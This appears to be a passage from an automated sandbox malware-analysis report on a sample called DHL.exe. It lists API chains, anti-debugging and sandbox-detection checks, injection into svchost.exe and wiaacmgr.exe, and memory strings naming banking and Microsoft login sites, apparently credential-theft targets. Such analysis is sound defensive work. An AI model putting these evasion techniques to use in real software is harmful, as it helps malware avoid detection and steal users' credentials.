Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034309AD push ecx; mov dword ptr [esp], ecx	2_2_034309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0340283D push eax; iretd	2_2_03402858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0340135E push eax; iretd	2_2_03401369
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048527FA pushad ; ret	5_2_048527F9
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0485225F pushad ; ret	5_2_048527F9
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0485283D push eax; iretd	5_2_04852858
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048809AD push ecx; mov dword ptr [esp], ecx	5_2_048809B6
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_02864376 push eax; retf	5_2_02864377
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0286288C push ebx; ret	5_2_0286288D
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_02864E70 push ss; retn 6E14h	5_2_02864F22
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_02866DE9 push ecx; iretd	5_2_02866DEA
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0286775B push edi; retf	5_2_0286776B
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_02867760 push edi; retf	5_2_0286776B
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0285F537 push ebx; iretd	5_2_0285F538
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_02857852 push es; ret	5_2_02857855
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0286BE95 pushad ; ret	5_2_0286BEAB
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_02851EA0 pushfd ; retf	5_2_02851EA2
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_02853EE1 push ss; ret	5_2_02853EFF

Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009BF98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_009BF98E
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A31C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00A31C41

Source: C:\Users\user\Desktop\DHL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\Desktop\DHL.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_0-99134

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\DHL.exe	API/Special instruction interceptor: Address: E1621C
Source: C:\Windows\SysWOW64\wiaacmgr.exe	API/Special instruction interceptor: Address: 7FFBCB7AD324
Source: C:\Windows\SysWOW64\wiaacmgr.exe	API/Special instruction interceptor: Address: 7FFBCB7AD7E4
Source: C:\Windows\SysWOW64\wiaacmgr.exe	API/Special instruction interceptor: Address: 7FFBCB7AD944
Source: C:\Windows\SysWOW64\wiaacmgr.exe	API/Special instruction interceptor: Address: 7FFBCB7AD504
Source: C:\Windows\SysWOW64\wiaacmgr.exe	API/Special instruction interceptor: Address: 7FFBCB7AD544
Source: C:\Windows\SysWOW64\wiaacmgr.exe	API/Special instruction interceptor: Address: 7FFBCB7AD1E4
Source: C:\Windows\SysWOW64\wiaacmgr.exe	API/Special instruction interceptor: Address: 7FFBCB7B0154
Source: C:\Windows\SysWOW64\wiaacmgr.exe	API/Special instruction interceptor: Address: 7FFBCB7ADA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0347096E rdtsc

2_2_0347096E

Source: C:\Windows\SysWOW64\wiaacmgr.exe	Window / User API: threadDelayed 3423			Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Window / User API: threadDelayed 6551			Jump to behavior

Source: C:\Users\user\Desktop\DHL.exe	API coverage: 3.8 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.6 %
Source: C:\Windows\SysWOW64\wiaacmgr.exe	API coverage: 2.6 %

Source: C:\Windows\SysWOW64\wiaacmgr.exe TID: 7816	Thread sleep count: 3423 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe TID: 7816	Thread sleep time: -6846000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe TID: 7816	Thread sleep count: 6551 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe TID: 7816	Thread sleep time: -13102000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\wiaacmgr.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A0DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00A0DBBE
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009DC2A2 FindFirstFileExW,	0_2_009DC2A2
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A168EE FindFirstFileW,FindClose,	0_2_00A168EE
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A1698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_00A1698F
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A0D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00A0D076
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A0D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00A0D3A9
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A19642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00A19642
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A1979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00A1979D
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A19B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00A19B2B
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A15C97 FindFirstFileW,FindNextFileW,FindClose,	0_2_00A15C97
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0286C9D0 FindFirstFileW,FindNextFileW,FindClose,	5_2_0286C9D0

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_009A42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_009A42DE

Source: o3Z6161.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: o3Z6161.5.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: o3Z6161.5.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: o3Z6161.5.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: eYHtcsfFquWF.exe, 00000006.00000002.2704062578.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll[
Source: o3Z6161.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: o3Z6161.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: o3Z6161.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: o3Z6161.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: o3Z6161.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: o3Z6161.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: o3Z6161.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: o3Z6161.5.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: o3Z6161.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: o3Z6161.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: o3Z6161.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: o3Z6161.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: wiaacmgr.exe, 00000005.00000002.2701656661.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: o3Z6161.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: firefox.exe, 0000000A.00000002.2016741991.0000014F78B0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll99
Source: o3Z6161.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: o3Z6161.5.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: o3Z6161.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: o3Z6161.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: o3Z6161.5.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: o3Z6161.5.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: o3Z6161.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: o3Z6161.5.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: o3Z6161.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: o3Z6161.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: o3Z6161.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: o3Z6161.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: o3Z6161.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: o3Z6161.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0347096E rdtsc

2_2_0347096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00417BA3 LdrLoadDll,

2_2_00417BA3

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A1EAA2 BlockInput,

0_2_00A1EAA2

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_009D2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_009D2622

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_009A42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_009A42DE

Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009C4CE8 mov eax, dword ptr fs:[00000030h]	0_2_009C4CE8
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00E164E8 mov eax, dword ptr fs:[00000030h]	0_2_00E164E8
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00E16488 mov eax, dword ptr fs:[00000030h]	0_2_00E16488
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00E14E78 mov eax, dword ptr fs:[00000030h]	0_2_00E14E78
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov ecx, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FA352 mov eax, dword ptr fs:[00000030h]	2_2_034FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D8350 mov ecx, dword ptr fs:[00000030h]	2_2_034D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0350634F mov eax, dword ptr fs:[00000030h]	2_2_0350634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D437C mov eax, dword ptr fs:[00000030h]	2_2_034D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A30B mov eax, dword ptr fs:[00000030h]	2_2_0346A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A30B mov eax, dword ptr fs:[00000030h]	2_2_0346A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A30B mov eax, dword ptr fs:[00000030h]	2_2_0346A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342C310 mov ecx, dword ptr fs:[00000030h]	2_2_0342C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03450310 mov ecx, dword ptr fs:[00000030h]	2_2_03450310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03508324 mov eax, dword ptr fs:[00000030h]	2_2_03508324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03508324 mov ecx, dword ptr fs:[00000030h]	2_2_03508324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03508324 mov eax, dword ptr fs:[00000030h]	2_2_03508324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03508324 mov eax, dword ptr fs:[00000030h]	2_2_03508324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EC3CD mov eax, dword ptr fs:[00000030h]	2_2_034EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034383C0 mov eax, dword ptr fs:[00000030h]	2_2_034383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034383C0 mov eax, dword ptr fs:[00000030h]	2_2_034383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034383C0 mov eax, dword ptr fs:[00000030h]	2_2_034383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034383C0 mov eax, dword ptr fs:[00000030h]	2_2_034383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B63C0 mov eax, dword ptr fs:[00000030h]	2_2_034B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE3DB mov eax, dword ptr fs:[00000030h]	2_2_034DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE3DB mov eax, dword ptr fs:[00000030h]	2_2_034DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE3DB mov ecx, dword ptr fs:[00000030h]	2_2_034DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE3DB mov eax, dword ptr fs:[00000030h]	2_2_034DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D43D4 mov eax, dword ptr fs:[00000030h]	2_2_034D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D43D4 mov eax, dword ptr fs:[00000030h]	2_2_034D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0344E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0344E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0344E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034663FF mov eax, dword ptr fs:[00000030h]	2_2_034663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E388 mov eax, dword ptr fs:[00000030h]	2_2_0342E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E388 mov eax, dword ptr fs:[00000030h]	2_2_0342E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E388 mov eax, dword ptr fs:[00000030h]	2_2_0342E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345438F mov eax, dword ptr fs:[00000030h]	2_2_0345438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345438F mov eax, dword ptr fs:[00000030h]	2_2_0345438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03428397 mov eax, dword ptr fs:[00000030h]	2_2_03428397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03428397 mov eax, dword ptr fs:[00000030h]	2_2_03428397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03428397 mov eax, dword ptr fs:[00000030h]	2_2_03428397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B8243 mov eax, dword ptr fs:[00000030h]	2_2_034B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B8243 mov ecx, dword ptr fs:[00000030h]	2_2_034B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0350625D mov eax, dword ptr fs:[00000030h]	2_2_0350625D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A250 mov eax, dword ptr fs:[00000030h]	2_2_0342A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436259 mov eax, dword ptr fs:[00000030h]	2_2_03436259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EA250 mov eax, dword ptr fs:[00000030h]	2_2_034EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EA250 mov eax, dword ptr fs:[00000030h]	2_2_034EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434260 mov eax, dword ptr fs:[00000030h]	2_2_03434260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434260 mov eax, dword ptr fs:[00000030h]	2_2_03434260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434260 mov eax, dword ptr fs:[00000030h]	2_2_03434260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342826B mov eax, dword ptr fs:[00000030h]	2_2_0342826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342823B mov eax, dword ptr fs:[00000030h]	2_2_0342823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035062D6 mov eax, dword ptr fs:[00000030h]	2_2_035062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034402E1 mov eax, dword ptr fs:[00000030h]	2_2_034402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034402E1 mov eax, dword ptr fs:[00000030h]	2_2_034402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034402E1 mov eax, dword ptr fs:[00000030h]	2_2_034402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E284 mov eax, dword ptr fs:[00000030h]	2_2_0346E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E284 mov eax, dword ptr fs:[00000030h]	2_2_0346E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B0283 mov eax, dword ptr fs:[00000030h]	2_2_034B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B0283 mov eax, dword ptr fs:[00000030h]	2_2_034B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B0283 mov eax, dword ptr fs:[00000030h]	2_2_034B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034402A0 mov eax, dword ptr fs:[00000030h]	2_2_034402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034402A0 mov eax, dword ptr fs:[00000030h]	2_2_034402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov ecx, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C4144 mov eax, dword ptr fs:[00000030h]	2_2_034C4144
